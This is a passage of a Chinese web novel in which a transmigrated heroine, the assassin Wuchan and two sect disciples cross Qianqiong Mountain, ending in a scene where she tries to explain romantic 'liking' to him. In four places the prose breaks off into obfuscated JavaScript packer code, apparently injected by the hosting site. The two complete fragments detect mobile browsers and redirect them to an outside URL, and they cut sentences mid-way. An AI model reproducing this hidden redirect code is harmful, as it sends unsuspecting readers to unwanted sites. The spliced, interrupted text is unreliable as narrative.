江晚怜默默把脸转向一边,憋笑憋得有点辛苦。无忏,你这仇恨拉得真是稳准狠。 叶玖警告地看了李子遥一眼,后者愤愤地扭过头,把怒气发泄在可怜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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火光尚未燃起,洞内光线昏暗。无忏靠在最里面的石壁边,闭着眼,似乎又在休息。江晚怜坐在靠近洞口的地方,望着外面渐渐沉下来的天色,和逐渐亮起的星子,心里乱糟糟的。 这一天走下来,身体累是其次,心更累。要努力跟上队伍,要警惕脚下的路,要忍受李子遥时不时的抱怨和怒视,要消化叶玖那审视中带着探究的目光,还要随时准备应对无忏大佬突如其来的毒舌嘲讽……这哪是上山,简直是精神压力测试。 “累了?” 无忏的声音突然在寂静的山洞里响起,吓了江晚怜一跳。 她转过头,洞里太暗,看不清他的表情。“还、还好……” “他们,”无忏的声音顿了顿,似乎在斟酌用词,“很吵。” 江晚怜愣了一下,才反应过来“他们”指的是叶玖和李子遥。她忍不住小声嘀咕:“你也……没少说啊……”虽然每次都是李子遥先挑事,但您那补刀的技术也是一流的好吗! “麻烦。”他又吐出两个字,这次语气里带着点显而易见的不耐烦。 江晚怜默然。确实麻烦。多了两个立场相对的同行者,前路未知的凶险似乎又叠上了一层人际关系的复杂。 “那……为什么答应让他们跟着?”她终究还是没忍住,问了出来。以无忏的性格,真要拒绝,叶玖恐怕也没办法强跟啊。 山洞里安静了片刻。就在江晚怜以为他不会回答时,他的声音再次响起,比刚才更低,也更模糊,仿佛融入了洞外渐起的夜风中: “有些路,”他缓缓道,“人多一些,或许能看得更清。” 江晚怜怔住。这话……是什么意思?人多看得清?是指叶玖他们或许能提供不同的视角或信息?还是说……他也在利用这次同行,观察或者说“审视”着这两个所谓的“正道翘楚”? 没等她细想,洞口传来了脚步声和说话声。 “师姐,只找到些酸果子,涩死了……”李子遥抱怨的声音由远及近。 叶玖抱着干柴走了进来,看到洞内两人,点了点头,便开始熟练地生火。橘红色的火光很快跳跃起来,驱散了黑暗和寒意,也映亮了每个人脸上不同的神情。 李子遥还在对着手里青涩的野果皱眉,叶玖神情专注地拨弄着火堆,无忏依旧隐在火光边缘的阴影里,看不清神色。江晚怜看着这再次被圈定在小小火光范围内的、临时组成的、关系微妙的一行人,心里忽然冒出一个念头: 接下去的路,恐怕会比这崎岖的山道,更加难走。 但无论如何,他们已经在这条路上了。 61. 等待进入网审 晨光再次刺破千穹山浓重的雾气时,李子遥在山洞外一声中气十足的长啸,宣告了他内力尽复的“喜讯”。 “师姐!我好了!全好了!”他兴奋地挥舞着手臂,一掌拍在洞外一棵碗口粗的松树上,树干应声而断,咔嚓作响,惊起一片晨鸟。“看见没!我又是一条好汉!” 江晚怜被这动静吵醒,迷迷糊糊揉着眼睛从山洞里挪出来,看到的就是李子遥对着那棵倒霉的松树眉飞色舞,而叶玖在一旁,抱着手臂,脸上写满了“师弟你能不能稳重点”的无奈。无忏则早已站在不远处一块较高的岩石上,晨风拂动他束起的马尾和衣摆,他正望着远处山脉更深处蒸腾的云海,对身后的闹剧充耳不闻。 “内力恢复是好事,”叶玖开口,声音带着清晨的微凉,“但也不必拿树木撒气。收拾一下,准备出发。” “好嘞!”李子遥此刻心情大好,连带着看什么都顺眼了几分,甚至破天荒地对刚走出来的江晚怜点了点头——虽然那点头的幅度小得几乎看不见。他觉得自己现在能打十个!嗯,至少能跟那个面瘫……过几招吧?大概。 江晚怜回以一个尴尬而不失礼貌的微笑,心里却想:这位少侠,您这恢复内力的庆祝方式,真是……充满活力啊。 四人再次上路。内力恢复的李子遥,脚步明显轻快了许多,不再像昨天那样跌跌撞撞、骂骂咧咧。他甚至试图再次挑战更陡峭难行的“捷径”,以证明自己的实力,结果被叶玖一句“莫要浪费气力,前路尚远”给按回了相对平缓的主路。 “师姐,我现在有的是力气!”李子遥不满。 “有力气,留着对付可能出现的麻烦。”叶玖目视前方,语气平淡,“况且,江姑娘需要走稳当些的路。” 被点名的江晚怜:“……”谢谢,有被内涵到。但这是事实,她无法反驳。 无忏走在最前,步履平稳。不知是不是错觉,江晚怜觉得他今天的步子似乎稍微放慢了一点点——真的只是一点点,若非她昨天跟得苦不堪言,若非不是她这么久跟在她身边的观察,几乎察觉不到那微小的差别。是为了照顾她这个“拖油瓶”吗?这个念头让她心头莫名动了动,但随即又自行否定了。 大佬大概只是按照自己的节奏走吧。 山路蜿蜒向上,植被开始发生变化。低矮茂密的灌木丛逐渐被更多虬结的古松和笔直冷杉取代,空气也越发清冽,呼吸间带着松针和岩石的冷香。他们已经进入了千穹山的半山腰区域,视野时而开阔,能望见脚下翻涌的云海和远处如黛的群峰;时而又被高耸的石壁和密集的林木封锁,只能看到头顶一线狭窄的天空。 临近午时,他们在一处视野极佳的山崖平台暂停休息。平台一侧是陡峭的岩壁,另一侧则是令人目眩的深谷,谷底云雾缭绕,深不见底。几棵姿态奇崛的松树从岩缝中顽强生出,提供了些许荫蔽。 叶玖取出水囊和干粮分发。李子遥这次学乖了,没有再去挑衅无忏,只是接过自己的那份,找了个离无忏最远的大石头坐下,大口啃了起来,眼睛却时不时瞟向崖外壮阔的景色,脸上带着年轻人特有的、对广阔天地的兴奋。 江晚怜小口喝着水,走到崖边,小心地探身向下望了一眼,立刻被那高度吓得缩了回来,心有余悸。她转身,发现叶玖也走了过来,站在她身边,同样望着云海出神。 山风猎猎,吹动两人的衣袂和发丝。 “景色虽险,却甚壮丽。”叶玖忽然开口,声音在山风中显得有些飘忽。 “是啊……”江晚怜附和,心里却在想:这要是不小心掉下去,怕是连骨头都找不着。 沉默了片刻,叶玖的目光从云海收回,落在了不远处独自靠在岩壁阴影下、闭目养神的无忏身上。她的眼神里还是带着审视,也带着仍未消散的疑虑。 “江姑娘,”叶玖的声音压低了些,确保只有她们两人能听清,“你与他同行这些时日……觉得他,究竟是个怎样的人?” 江晚怜心里咯噔一下。来了,来自女主角的侧面调查。她该怎么回答?说大佬武功高强但嘴毒?说他不按理出牌?说他有时候看起来冷漠得可怕,有时候却又会有一些细微的、难以捉摸的举动? 她斟酌着词句,最后,想起了那句原则,或许能解释他的一些行为,也能……稍稍改变一下叶玖他们对他那“杀人魔头”的刻板印象吧? 江晚怜深吸了一口清冷的山风,转过头,认真地看向叶玖那双清澈却锐利的眼睛。 “叶姐姐,”她轻声但清晰地说,“或许你们一直认为,他是个……视人命如草芥的杀手。但是……”她顿了顿,确保自己的每个字都能被听清。 叶玖的眉头微微挑起,示意她继续说下去。 “他不杀无辜者,只夺罪人血。”江晚怜一字一句地重复,“这是他行事的原则,而且,我确实亲眼所见了。” 山风似乎在这一刻静止了一瞬。 叶玖的瞳孔收缩了一下。她看向无忏的方向,那个少年依旧安静地靠在岩壁上,对这边的对话毫无所觉——或者,根本不在意。这句简单的话,却与他在江湖上的凶名,形成了某种刺眼的对比。是谎言?是伪装?还是……那凶名之下,确实存在着一条不为人知的、偏执而冷酷的界线? 良久,叶玖才缓缓收回目光,看向江晚怜,眼中神色复杂:“你……相信他?”她对这句话怀揣着一定的探究,眼前这位“江家大小姐”,在以前也算不得上一个令人省心的,但确实只有她说的话有道理,只有她留在无忏身边最久,只是自己不敢赌这句话的正确性。 江晚怜沉默了一下。相信吗?但她确实没见过无忏滥杀无辜。他的每一次出手,都目标明确,带着一种冰冷的“针对性”。 “我……不知道他所有的过去。”江晚怜老实回答,“但到目前为止,他没有违背过这句话。” 叶玖没有再追问,只是若有所思地点了点头,望向云海的目光变得更加深沉。这个信息,无疑让她对无忏的评估,需要做出一些调整。一个有着明确原则的“杀手”,和一个毫无底线的魔头,是截然不同的。哪怕那原则标准可能与他人不同。 师尊的命令,似乎也变得更加扑朔迷离起来。 另一边,李子遥啃完了干粮,闲不住地开始活动筋骨,在山崖平台上虎虎生风地使了一套剑法,掌风呼呼,颇有气势,显然是想展示一下恢复的实力,目光还时不时瞟向无忏。 无忏终于睁开了眼睛,不是被剑气惊扰,而是休息够了。他站起身,看也没看正在“表演”的李子遥,径直走向通往更高处的山路岔口。 “喂!”李子遥收势,不满地喊道,“走也不说一声!” “等你打完?”无忏头也不回,声音顺着风飘来,“花架子。” “你说谁是花架子?!”李子遥瞬间炸毛,就要追上去理论。 “子遥。”叶玖出声制止,她已从崖边走了回来,神色恢复了平时的清冷,“走了。” 李子遥气呼呼地瞪了无忏的背影一眼,但还是乖乖跟上了师姐。江晚怜也赶紧小跑着追上队伍。 下午的路程,气氛似乎有了一丝极其微妙的变化。 叶玖依旧保持着警惕和观察,但看向无忏的目光中,审视的意味里,掺杂了一丝更复杂的探究。而无忏,依旧是那副万事不关心的模样,只是偶尔在需要选择岔路,会极其简短地说一两个字,不再像之前那样完全漠视叶玖和李子遥的存在——当然,可能是他觉得这两个“麻烦”有了点基本的利用价值。 而江晚怜那番话,似乎也在李子遥那里起了点作用。他虽然还是看无忏不顺眼,动不动就被对方三言两语气得跳脚,但至少不再一口一个“杀人魔头”、“邪魔外道”地喊了。斗嘴的内容,逐渐偏向于“你走路不看路吗?”“你除了装深沉还会什么”这种……相对“幼稚”的人身攻击层面。 比如经过一段湿滑的溪流石滩时,李子遥为了显示自己轻功了得,非要踩着那些长满青苔、滑不溜秋的石头过去,结果在最后一块石头上脚下一滑,眼看就要表演一个“平沙落雁式”摔进水里—— 一道黑影倏然掠过。 李子遥只觉得腰带一紧,一股不容抗拒的力量将他整个人向后一带,他踉跄着倒退几步,险险站稳在岸边干燥处。而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079847|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本他站的那块滑石上,无忏不知何时已经单足点立,身形稳如山岳,连衣角都没沾到水。 “轻功,”无忏丢下两个字,身形一晃,已轻盈地掠过剩下的几块石头,到了对岸,“不是用来逞能的。” 刚才那一下,李子遥确实感受到了对方那举重若轻的身手。救他?不,那家伙肯定只是为了嘲讽他!但……对方确实“救”了他,没让他变成落汤鸡。他憋了半天,对着无忏的背影憋出一句:“……多管闲事!”声音却没了之前的十足底气。 江晚怜和叶玖从后面稳当的木桥上走过来。江晚怜看着李子遥那副别扭的样子,心里好笑。叶玖则是看了一眼对岸的无忏,又看了看自家师弟,叹了口气。 傍晚时分,他们抵达了一处临近山顶的区域。这里地势相对平缓,出现了一片稀疏的高山草甸,草甸边缘靠着岩壁,有一眼清澈的山泉,泉水旁还有前人留下的、用石块简单垒砌的避风灶坑痕迹。 “今晚在此歇息吧。”叶玖看了看天色,西沉的落日将天边云层染成壮丽的绯红与金橙,“明日应能翻过这道山脊,之后便是下坡路,离黑水河更近了。” 叶玖和李子遥去收集干柴,江晚怜拿着水囊去泉眼处取水。无忏则像往常一样,选了处视野开阔又能遮蔽背风的高地,坐下来调息。 泉水冰凉甘冽。江晚怜装满水囊,正准备回去,却看到无忏不知何时走了过来,也蹲在了泉眼边,用手掬水喝了几口。 暮色四合,天光渐暗,最后一抹晚霞的余晖映在他侧脸上,柔和了那通常过于冷硬的线条。他长长的睫毛垂下,在水面映出细微的颤动。 江晚怜一时不知该走开还是该打个招呼。就在她犹豫时,无忏抬起了头,水珠顺着他清晰的下颌线滑落。 “你的话,”他忽然开口,没头没尾,“她信了?” 江晚怜愣了一下,才反应过来他指的是自己下午对叶玖说的关于他原则的那番话。他听到了?离得那么远,山风又大…… “我、我不知道她信不信……”江晚怜老实回答,“但我说的……是实话。” 无忏看着她,那双异色的眼眸在暮色中显得格外深邃。他没有说“谢谢”,也没有评价她多嘴,只是那么静静看了她两秒,然后牵动了一下嘴角——那是一个短暂到几乎无法捕捉的弧度,不像笑,更像是一种……默认,或者说,一种“随你吧”的放任。 “麻烦。”他又说了这两个字,但语气似乎不如之前那般纯粹的不耐烦,反而夹杂了一丝不可闻的……别的什么。 说完,他站起身,径直走回了自己选定的位置。 江晚怜站在原地,手里捧着冰凉的水囊,心里却有点乱。他那是什么意思?是嫌她多事!? 她甩甩头,干脆决定不想了。大佬的心思,猜不透。 回到营地,叶玖和李子遥已经生起了火,正在用随身小锅烧水,准备煮些热汤暖暖身子。火光映着每个人的脸,驱散了高山夜晚迅速降临的寒意。 四人围坐在火堆旁,喝着简单的野菜肉干汤,一时无话。只有柴火噼啪声和远处不知名夜鸟的啼叫。 李子遥喝完了汤,满足地叹了口气,靠在身后的石块上,望着头顶开始闪烁的繁星,忽然没头没脑地说了一句:“这星星……还挺亮。” 叶玖看了他一眼,没说话。 江晚怜捧着温暖的陶碗,看着跳跃的火光,又偷偷瞄了一眼对面安静喝汤的无忏,再看了看仰头看星星、难得安静下来的李子遥,以及火光映照下神情平静中带着思索的叶玖。 这一天的路程,有摩擦,有斗嘴,有惊险,也有……一些细微的改变。她似乎稍微触碰到了无忏那坚硬外壳下的一丝真实,而叶玖和李子遥对他的看法,或许也因她那句话而有了些许裂痕。 但今夜,在这临近山顶的星空下,围着一簇小小的篝火,这支临时拼凑、关系微妙的队伍,似乎找到了一种暂时的、脆弱的平衡。 夜渐深,星光愈发明亮,如同碎钻洒落在墨蓝的天鹅绒上。千穹山沉默地矗立,等待着他们明日翻越它的脊梁,去面对山那一边,更加莫测的旅程。 62. “喜欢” “哦嚯嚯~恢复内力的感觉真好!” 清亮的少年音带着毫不掩饰的嘚瑟,响彻在千穹山临近山顶的稀疏林间。李子遥脚踏长剑,离地三尺,晃晃悠悠地飘在半空,衣袂翻飞,颇有点仙侠剧中御剑飞行的雏形——如果忽略那摇摇欲坠的平衡感和脸上过于灿烂、以至于显得有些傻气的笑容的话。 他居然还在计较这个事?都过去一天了!江晚怜跟在后面,忍不住在心里吐槽。这位少侠对“恢复实力”这件事的执着,简直像极了考完试后非要拿着满分卷子到处晃悠的小学生。 “子遥……前面。” 叶玖清冷的声音带着无奈,从前方传来。她甚至没有回头,只是脚步微微顿了一下。 “啊?前面怎么——哎哟!” 砰! 闷响伴随着枝叶断裂的咔嚓声。 是的,专注于炫耀而忘了看路的凌云门未来希望,结结实实地、毫无缓冲地撞在了一棵顽强生长在岩缝间的老松树干上。力道之猛,让那棵松树都剧烈地晃了晃,扑簌簌落下不少针叶。 “噗——哈哈哈哈!!” 江晚怜终于憋不住了,笑得弯下腰,差点岔气。自打李子遥加入这支队伍以来,说是监督,倒不如说更像是增加了一个专门负责逗她笑的“喜剧演员”。这跌宕起伏的旅途,因为他的各种骚操作,硬是多了不少意想不到的“笑果”。 李子遥一脸懵逼地从树下茂密的草丛里探出头,头上、肩上沾满了松针和草屑,额前还顶着一片完整的、发黄的叶子,配上他那茫然又委屈的表情,活像只刚从地里钻出来的土拨鼠。 他最近是走了什么霉运?明明在同门师妹师弟口中,他可是“福星高照李师兄”、“运气好到走路都能捡到秘籍”的代言人啊!怎么自从遇到无忏和江晚怜之后,就诸事不顺? 叶玖叹了口气,快步走上前,伸手,动作自然地从他束得一丝不苟的发冠上,轻轻摘下了那片醒目的叶子。随着她的靠近,一股清幽淡雅的桂花香气若有若无地飘散开来。 ——那是李子遥前一阵子,熬了好几个通宵、被绣花针扎得龇牙咧嘴、差点没哭出来,才勉强做成的香囊。里面的桂花,是他特意挑了门派后山那棵据说香气最醇正的百年老桂,爬上去摘了又摔、摔了又爬,折腾得灰头土脸才收集到的那么一小撮。一个小小的香囊,耗费了他太多心血时间,手指上至今还留着几个淡去的针眼。 此刻,这熟悉又私密的香气,经由师姐的手,如此近距离地袭来。 李子遥浑身一僵,下意识地偏过头,试图躲开那过于灼人的视线和气息。然而,从耳尖到脸颊,乃至脖颈,不受控制地迅速漫开一片滚烫的红晕。是好面子?是尴尬?还是某种更深层的、让他心慌意乱的情绪作祟? 江晚怜早就机智地缩到了一旁茂密的灌木丛后,只露出一双亮晶晶的眼睛,面红耳赤地看着这一幕。内心的小人已经在疯狂尖叫打滚:来了来了!是男女主角的经典好感度特写镜头啊啊啊!!! 虽然她对这部漫画后期的剧情走向颇为不满,甚至怨念深重,但不得不承认,原作者在刻画男女主早期这种青涩懵懂、欲说还休的感情线上,实在是功底深厚,甜而不腻,每每看得她姨母笑停不下来。而眼前这一幕——师姐为师弟摘去头上的异物,伴随着私密信物的香气,以及师弟那无处安放的羞赧……简直是从原漫画里直接复刻出来的!只不过场景从门派演武场边的梨花树下,换成了这千穹山巅的林子。 “你在干嘛?” 一道平静无波、毫无预兆的声音,几乎贴着江晚怜的耳朵响起。 “啊!”江晚怜吓得魂飞魄散,整个人一哆嗦,差点从灌木丛里弹出去。她惊魂未定地扭头,对上了无忏那双近在咫尺、写满“不解”的异色眼瞳。这家伙!走路真的没声音的吗?怎么总在她全神贯注的时候,像个幽灵一样突然出现?! “啧……哎呀,你快别出声了!”江晚怜又急又慌,生怕他惊扰了前方那“历史性的一刻”。情急之下,她伸出手按住无忏的肩膀,不由分说地把他往草丛里一带,自己也跟着缩得更低,“蹲下蹲下!” 无忏本是微微俯身询问的姿势,被她这么猝不及防地一按,倒是顺从地矮下了身形,跟少女一同挤在了这丛不算太茂密的灌木后面,透过枝叶缝隙,看向前方不远处那两道鹅黄色的身影——叶玖正略带担忧地凝视着偏过头、耳根通红的李子遥。 还好还好,自己刚才那声惊呼不算大,那两人似乎沉浸在自己的世界里,没有察觉这边的动静。江晚怜拍拍胸口,松了口气。 “子遥,你怎么了?”叶玖的声音传来,比平时似乎柔和了一丝丝,她看着师弟通红的脸颊和躲闪的眼神,眉头微蹙,“脸很红啊,是不是之前落水着凉,还未痊愈?”说着,她自然而然地抬起手,想用手背去探一探李子遥的额头温度。 “不、不!没有!我很好!特别好!!”李子遥像是被踩了尾巴的猫,是直接从草丛里“弹”了起来,连连后退,动作大得又带落几片草叶。他只觉得自己整个人如同被扔进了炼丹炉,从内到外都被那股熟悉的桂花香包裹、灼烧着,心跳如擂鼓,几乎要撞出胸腔。 师姐的手……要碰到了…… 来了来了!关键时刻!!江晚怜在草丛后屏住呼吸,眼睛瞪得溜圆,手指攥紧了身旁的草茎。她当初在漫画里看到类似情节时,急得抓心挠肝,心里就八个大字在疯狂刷屏:“快表白啊!快A上去!” 然而,根据她丰富的阅读经验,这种暧昧值即将拉满、窗户纸一捅就破的关键时刻,往往都会被作者用各种“不可抗力”强行打断,然后只留下失望至极的读者。要么是其中一方突然被远处的异响吸引,要么是被突如其来的任务召唤,要么就是像现在这样—— “咕……” 一声悠长、清晰、在突然安静下来的山林间显得格外突兀的……肠鸣音,从李子遥的腹部传来。 …… 江晚怜肩膀一垮,无声地叹了口气,松开了攥着的草茎。她就知道,定律可能会迟到,但绝不会缺席。这打断方式,还真是……常见,朴实无华且充满生活气息啊。 从刚才开始就默不作声、对前方两人的互动表现出纯粹“观察但无法理解”状态的无忏,听见身旁少女那一声充满遗憾的叹息,微微侧过头,低声问道:“怎么了?” 他的声音压得很低,气息拂过江晚怜的耳廓,让她有些不自在地缩了缩脖子。 “好失望……”江晚怜瘪着嘴,用气声抱怨,“虽然早就知道一定会这样,但是现实里亲眼看见他们果然还是没法互通心意……作者套路深啊。” 无忏的眉头几不可察地动了一下:“如何看出?”他的目光重新落回前方。李子遥正捂着肚子,满脸窘迫,恨不得找条地缝钻进去;叶玖的手停在半空,似乎也愣了一下,随即眼底浮现笑意,收回了手。 “你看不出来?这明明很明显啊!”江晚怜顿时来了精神,暂时忘记了“磕CP”失败的遗憾,转而用一种“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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无忏转回头,看向身旁因为“教学”而眼睛发亮、兴奋的脸颊微红,仿佛发现了什么重大秘密的少女。她……原来这么擅长观察这些细微之处?以前怎么没看出来。 江晚怜分析起这些来,头头是道,眼神笃定,像只发现了松果宝藏的小松鼠,浑身都散发着一种……莫名的感染力。 只是…… 他沉默了片刻,似乎在消化她话语里的信息,也似乎在组织语言。然后,他开口,问出了一个让江晚怜所有“教学热情”瞬间卡壳的问题: “‘喜欢’是什么意思?” “啊?”江晚怜愣住了,眨巴着眼睛,怀疑自己听错了。 无忏看着她茫然的表情,以为她没听清,或者自己没说清楚,便更加具体地、用一种纯粹求知,且带着一丝困惑的语气,重复并补充问道: “‘互通心意’,又是什么意思?” 山风穿过林隙,带来高处特有的凛冽寒意,吹动了两人身前的草叶,也吹散了江晚怜脸上残存的那点兴奋红晕。 她看着无忏。他就这么平静地、认真地注视着她,那双异色的眼眸里没有任何调侃或戏谑,只有纯粹的、等待解答的疑问。仿佛他问的不是一个关乎人类最基本情感之一的复杂命题,而是在询问“这条路怎么走”或者“这种草药有何功效”。 江晚怜张了张嘴,忽然发现,自己那一套套关于“喜欢”的套路分析、微表情解读、经典桥段归纳……在这个最简单也最根本的问题面前,全都哑火了。 她该怎么向一个似乎完全缺乏这方面概念、或者说对此毫无自觉的人,解释“喜欢”是什么意思? 尤其是,当这个提问者,正用那双漂亮得过分的眼睛,专注地等着她的答案时。 不远处的“男女主角”似乎已经从那尴尬的肠鸣音中恢复,叶玖正低声对李子遥说着什么,桂花香气早已被山风吹散。 而这边草丛里,关于“喜欢”的临时课堂,才刚刚陷入一片更加微妙和棘手的寂静。 63. 喜欢的定义 “你、你不懂这些?” 江晚怜的声音卡在喉咙里,带着难以置信的颤音。她瞪大了眼睛,像是第一次真正“看见”眼前这个同蹲在草丛里的少年。 怎么会这样呢? 他看起来至少十七八岁了,身形挺拔,面容虽还带着几分少年人的清俊,但眉眼间的疏冷和偶尔掠过的锐利,早已超越了普通少年的范畴。在这种理应血气方刚、情窦初开的青春年华,“喜欢”这个词,难道不是像呼吸一样自然存在、甚至可能已经悄然萌发的情感吗?就像不远处的李子遥和叶玖,那种青涩的、笨拙的、却又无比真实的悸动。 就算……就算眼前这人,是常年行走于阴影与血光之间,令江湖人闻之色变的暗杀榜榜首,也不该是这种反应啊!“喜欢”是人的七情六欲之一,是本能,是镌刻在灵魂里的东西,只要是人,只要有心,或多或少,总会有所体会吧?哪怕他的“喜欢”可能扭曲、可能偏执、可能与他人不同,但绝不应该是一片……空白。 一个荒谬绝伦、却又在眼前铁一般事实支持下疯狂滋长的念头,猛地撞进江晚怜的脑海,让她瞬间瞳孔地震。 难道……她死缠烂打、误打误撞抱上的这根超级大腿,这个武力值爆表、偶尔毒舌、大部分时间冷漠得像个精密杀人机器的家伙,本质上,真的是个情感认知方面的…… 傻子?! 无忏看着她脸上风云变幻、精彩纷呈的表情,那双异色的眼眸里依旧平静无波,只是带着些许等待答案的耐心。见她又惊又疑地盯着自己不说话,然后,肯定地点了点。 点头。 是的,不懂。 江晚怜深吸了一口高山冷冽的空气,试图让自己冷静下来。“你当真不知道?”她不死心,又追问了一遍,声音压得更低,像是怕惊扰了什么,又像是怀着一丝微弱的希望——希望他只是在开玩笑,或者她理解错了。 无忏的反应没有丝毫改变。还是那样,平静地、坦然地看着她,然后,再次点了点头。 不懂就是不懂,无需掩饰,也无从掩饰。在他迄今为止的人生里,“喜欢”这个词汇所指向的那种特定、复杂、且被世人赋予诸多意义的情感状态,是一片未曾被标注、甚至可能未曾被真正感知过的区域。 “那是什么?”他开口问道,语气里没有窘迫,没有好奇,只有一种纯粹的、对于未知概念的探究。江晚怜刚才津津有味分析了半天的“男女主角暧昧互动”,是一种他未曾习得的外语或者某种失传的秘术,而她,是眼下唯一能提供注解的人。 “……”江晚怜被噎了一下。该怎么解释?对着一个连基础概念都没有的人,讲解“喜欢”? 她挠了挠脸,感觉这比跟李、叶二人斗智斗勇、比在崎岖山路上跋涉还要费劲。“嗯……这个词其实有两种意思,”她努力组织着语言,尽量用最简单、最直白的话来解释,生怕说得复杂了他更听不懂,“一种呢,比较宽泛,就是‘喜好’,比如你平常最经常做什么,或者对什么东西特别有兴趣,不讨厌,甚至有点乐意去做、去接触,那就是‘喜欢’这个东西或者这件事……” 她一边说,一边观察着无忏的表情,试图从他脸上找到一丝“懂了”的迹象。 无忏安静地听着,等她说完了,才略微思索了一下,然后给出了一个在他认知范围内、符合“最常做”和“不讨厌”这个定义的答案: “‘除恶’。”他吐出两个字,顿了顿,似乎在确认这个行为是否属于“喜欢”的范畴,然后看向江晚怜,眼神询问:“所以?” 江晚怜:“……” 谁会把杀人当成“喜欢”做的事啊喂!这理解方向是不是有点过于惊悚了?!虽然从行为频率上来说……好像也没错?但这完全不是她要表达的那个“喜欢”啊! “哎呀!不是这个意思!”江晚怜扶额,感觉脑仁有点疼,“我是说,比如……你喜欢吃什么?喜欢看什么风景?或者,有没有什么觉得有意思的、想反复做的事?除了……呃,你懂的。”她及时刹住了“除了杀人”这几个字,换了个委婉的说法。 无忏再次陷入沉默,似乎在认真检索自己的记忆和感受。吃什么?能果腹、无毒即可。看什么风景?并无特别偏好。有意思的、想反复做的事?练武算吗?但他不需要了。追踪、潜行、判断目标……这些都是技能和过程,与“喜欢”似乎也无关。 他摇了摇头。 江晚怜看着他那张没什么表情的脸,以及那双干净得近乎空洞的眼睛,心里那点荒谬感越来越重,同时,一丝难以言喻的……类似于同情,又远不止同情的东西,悄悄冒了出来。 “另一种意思呢?”无忏没有纠结于自己是否拥有第一种“喜欢”,转而追问那个让江晚怜之前兴奋不已、分析得头头是道的“另一种意思”。 江晚怜看了一眼不远处。李子遥似乎已经调整好了状态,正红着脸跟叶玖解释自己只是“早上吃急了”,叶玖则是一副“我信你才怪”但懒得拆穿的表情,两人之间的气氛依旧微妙,但已经脱离了刚才那种一触即发的暧昧峰值。她转回头,压低声音对无忏说: “另一种,就是李子遥他们刚刚那种表现。” 无忏顺着她的目光,又看了看那对师姐弟。李子遥脸上的红潮还未完全褪去,眼神依旧飘忽;叶玖虽然表面镇定,但指尖无意识地捻着腰间香囊的流苏。他回忆着刚才观察到的所有细节:脸红、眼神躲闪又偷看、根据呼吸和脉搏判断的心跳加速、气息微乱、无意义的肢体小动作…… 一阵短暂的沉默后,无忏基于自己的观察和理解,得出了一个在他逻辑里非常合理的推论: “……心虚?”他看向江晚怜,语气带着求证。做了错事,或者隐藏了秘密,才会出现类似的表现,不是吗? 江晚怜差点被自己的口水呛到。 “不是这个意思!!!”她急了,声音不由得拔高了一点,又立刻捂住嘴,心虚地看向叶玖和李子遥那边,还好那两人似乎正在讨论接下来的路线,没注意这边草丛里的动静。她转回头,看着无忏那张写满“难道不是吗”的脸,一股“科普工作者”的责任感……不,挫败感油然而生。 跟他绕圈子、打比喻看来是行不通了。对付这种情感认知上的“原始人”,或许只能使用最直白、最基础的定义,哪怕听起来有点傻。 江晚怜深吸一口气,干脆破罐子破摔,用一种近乎直白的、给幼儿园小朋友解释词语的语气,直言道: “另一种‘喜欢’,是指对一个人,产生了一种特别的、想要靠近那个人的感觉。看到那个人开心自己也会开心,会不自觉地关注她,和她在一起的时候,心跳会变快,会紧张,会不好意思……嗯,大概就是,你觉得这个人,跟其他所有人都不一样,对你来说很特别,你希望她好,甚至……希望她也能这样看待你。” 她一口气说完,感觉脸上有点发烫。跟一个异性,尤其还是无忏这样的人物,讨论这种话题,实在有点……奇怪。但话已出口,她只能强作镇定,观察他的反应。 反正他先问的,自己只是回答了一下而已。 无忏静静地听着,脸上依旧没什么表情,但那双异色的眼瞳,却比平时显得更加专注。他没有立刻说话,似乎在逐字逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083801|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句地消化她的话语,将这些描述与他刚才观察到的李子遥和叶玖的表现一一对应。 心跳变快,紧张,不好意思,特别关注,希望对方好,希望对方也……如此看待自己。 这些词汇所拼凑出的状态,对他而言,依然陌生。他无法从自己的经验库里调取任何类似的感受来印证。这像是一套完全不同的、存在于另一个维度的感知系统。 “为什么?”他忽然问。 “啊?”江晚怜没跟上他的思路。 “为什么,”无忏重复,目光落在她因刚才一番“教学”而微微泛红、带着些许窘迫的脸上,语气是纯粹的困惑,“会对另一个人,产生这样的……状态?这有何意义?有何用处?” 江晚怜再次语塞。为什么?这需要理由吗?喜欢一个人,心动,爱慕,这不就是人类最基本的情感之一吗?就像渴了要喝水,饿了要吃饭一样……呃,好像也不完全一样。 她张了张嘴,发现自己竟然无法从“实用性”或“意义”的角度来回答这个问题。因为“喜欢”本身就是意义,是非理性的,是超越功利计算的。 